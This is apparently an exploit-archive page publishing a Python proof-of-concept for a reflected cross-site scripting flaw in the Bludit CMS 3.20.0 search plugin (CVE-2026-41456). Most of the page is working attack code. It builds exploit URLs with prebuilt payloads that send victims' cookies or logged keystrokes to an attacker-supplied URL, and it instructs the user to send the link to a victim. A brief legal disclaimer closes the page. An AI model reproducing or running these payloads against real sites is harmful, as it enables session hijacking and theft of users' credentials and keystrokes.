Skip to main content

Bludit CMS 3.20.0 – Reflected Cross-Site Scripting

Categories: WebApps

Bludit CMS 3.20.0 – Reflected Cross-Site Scripting

Proof of Concept (PoC)

poc.py
# Exploit Title: Bludit CMS  3.20.0 - Reflected Cross-Site Scripting 
# Date: 2026-08-11
# Exploit Author: [Ranjit Kumar Singh]
# Vendor Homepage: https://www.bludit.com/
# Software Link:
https://github.com/bludit/bludit/archive/refs/tags/3.20.0.zip
# Version: 3.0.0 through 3.20.0 (all versions before commit 6732dde)
# Tested on: Ubuntu 20.04 / Apache 2.4 / PHP 7.4 / Windows 10 / PowerShell
# CVE: CVE-2026-41456


"""
CVE-2026-41456 - Bludit CMS Reflected XSS via Search Plugin
Exploit Author: [Ranjit Kumar Singh]
Vendor: https://www.bludit.com/
Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.20.0.zip
Vulnerable Versions: Bludit CMS 3.0.0 through 3.20.0 (before commit 6732dde)
Tested on: Ubuntu / Windows / PHP 7.4
Description:
    The search plugin reflects the search term inside an HTML attribute (value="...").
    To exploit, you must break out of the attribute using "> and then inject a tag.
    This script builds a correctly URL-encoded /search/ endpoint URL.

Usage (Windows / Linux):
    # Use built-in payload types (recommended)
    python CVE-2026-41456.py -u http://target -t alert
    python CVE-2026-41456.py -u http://target -t steal -a http://attacker/log
    python CVE-2026-41456.py -u http://target -t keylog -a http://attacker/log

    # Use -j to provide only JavaScript code (script will add breakout and .gif)
    python CVE-2026-41456.py -u http://target -j "alert('XSS')"          # Linux
    python CVE-2026-41456.py -u http://target -j 'alert("XSS")'          # Windows (PowerShell)

    # For full control, use -p (must include "> breakout and .gif suffix)
    python CVE-2026-41456.py -u http://target -p ""><img src=1 onerror=alert(1)>.gif"
"""

import argparse
import urllib.parse
import sys
import webbrowser

def build_payload(base_url, payload):
    """Build the full XSS URL with the payload placed in the /search/ path."""
    if not base_url.endswith('/'):
        base_url += '/'
    encoded_payload = urllib.parse.quote(payload, safe='')
    full_url = f"{base_url}search/{encoded_payload}"
    return full_url

def generate_alert_payload():
    return '"><img src=1 onerror=alert("XSS")>.gif'

def generate_steal_cookie_payload(attacker_url):
    return f'"><script>document.location="{attacker_url}?c="+encodeURIComponent(document.cookie)</script>.gif'

def generate_keylogger_payload(attacker_url):
    payload = f"""
    "><script>
    var keys = '';
    document.onkeypress = function(e) {{
        keys += e.key;
        if (keys.length > 50) {{
            new Image().src = '{attacker_url}?k=' + encodeURIComponent(keys);
            keys = '';
        }}
    }};
    </script>.gif
    """
    return ''.join(payload.split())

def interactive_payload_builder():
    print("[*] Interactive Payload Builder")
    print("1. Simple Alert (Proof of Concept)")
    print("2. Steal Cookies (requires attacker URL)")
    print("3. Keylogger (requires attacker URL)")
    print("4. Custom JavaScript (you write the code)")
    choice = input("Select payload type [1-4]: ").strip()
    
    if choice == "1":
        return generate_alert_payload()
    elif choice == "2":
        attacker_url = input("Enter attacker URL to receive cookies (e.g., http://attacker/log): ").strip()
        if not attacker_url:
            print("[-] Attacker URL required.")
            return None
        return generate_steal_cookie_payload(attacker_url)
    elif choice == "3":
        attacker_url = input("Enter attacker URL to receive keystrokes: ").strip()
        if not attacker_url:
            print("[-] Attacker URL required.")
            return None
        return generate_keylogger_payload(attacker_url)
    elif choice == "4":
        custom = input("Enter your JavaScript code (e.g., alert('XSS')): ").strip()
        if not custom:
            print("[-] Payload cannot be empty.")
            return None
        return f'"><script>{custom}</script>.gif'
    else:
        print("[-] Invalid choice.")
        return None

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-41456 - Bludit CMS Reflected XSS via Search Plugin"
    )
    parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://target) – script will append /search/")
    
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-p", "--payload", help="Custom full payload (must include breakout syntax, e.g., "><img src=1 onerror=alert(1)>.gif)")
    group.add_argument("-j", "--js", help="Raw JavaScript code (script will add '><script>...</script>.gif')")
    group.add_argument("-t", "--type", choices=["alert", "steal", "keylog"], help="Predefined payload type")
    group.add_argument("--interactive", action="store_true", help="Interactive payload builder")
    
    parser.add_argument("-a", "--attacker", help="Attacker URL for steal/keylog payloads (required with -t steal or keylog)")
    parser.add_argument("--open", action="store_true", help="Open the crafted URL in the default browser")
    
    args = parser.parse_args()
    
    base_url = args.url.rstrip('/')
    
    payload = None
    if args.payload:
        payload = args.payload
    elif args.js:
        payload = f'"><script>{args.js}</script>.gif'
    elif args.type:
        if args.type == "alert":
            payload = generate_alert_payload()
        elif args.type == "steal":
            if not args.attacker:
                print("[-] --attacker URL required for steal payload")
                sys.exit(1)
            payload = generate_steal_cookie_payload(args.attacker)
        elif args.type == "keylog":
            if not args.attacker:
                print("[-] --attacker URL required for keylog payload")
                sys.exit(1)
            payload = generate_keylogger_payload(args.attacker)
    elif args.interactive:
        payload = interactive_payload_builder()
        if payload is None:
            sys.exit(1)
    else:
        parser.print_help()
        sys.exit(1)
    
    # Debug: show raw payload before encoding
    print(f"[*] Raw payload: {payload}")
    
    exploit_url = build_payload(base_url, payload)
    
    print(f"[+] Exploit URL generated:")
    print(f"{exploit_url}")
    print("n[+] Instructions:")
    print("    - Send this URL to a victim (or use --open to test locally).")
    print("    - The JavaScript will execute in the victim's browser.")
    
    if args.open:
        print("[*] Opening URL in default browser...")
        webbrowser.open(exploit_url)
    
    print("n[+] URL for copy-paste:")
    print(exploit_url)

if __name__ == "__main__":
    main()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...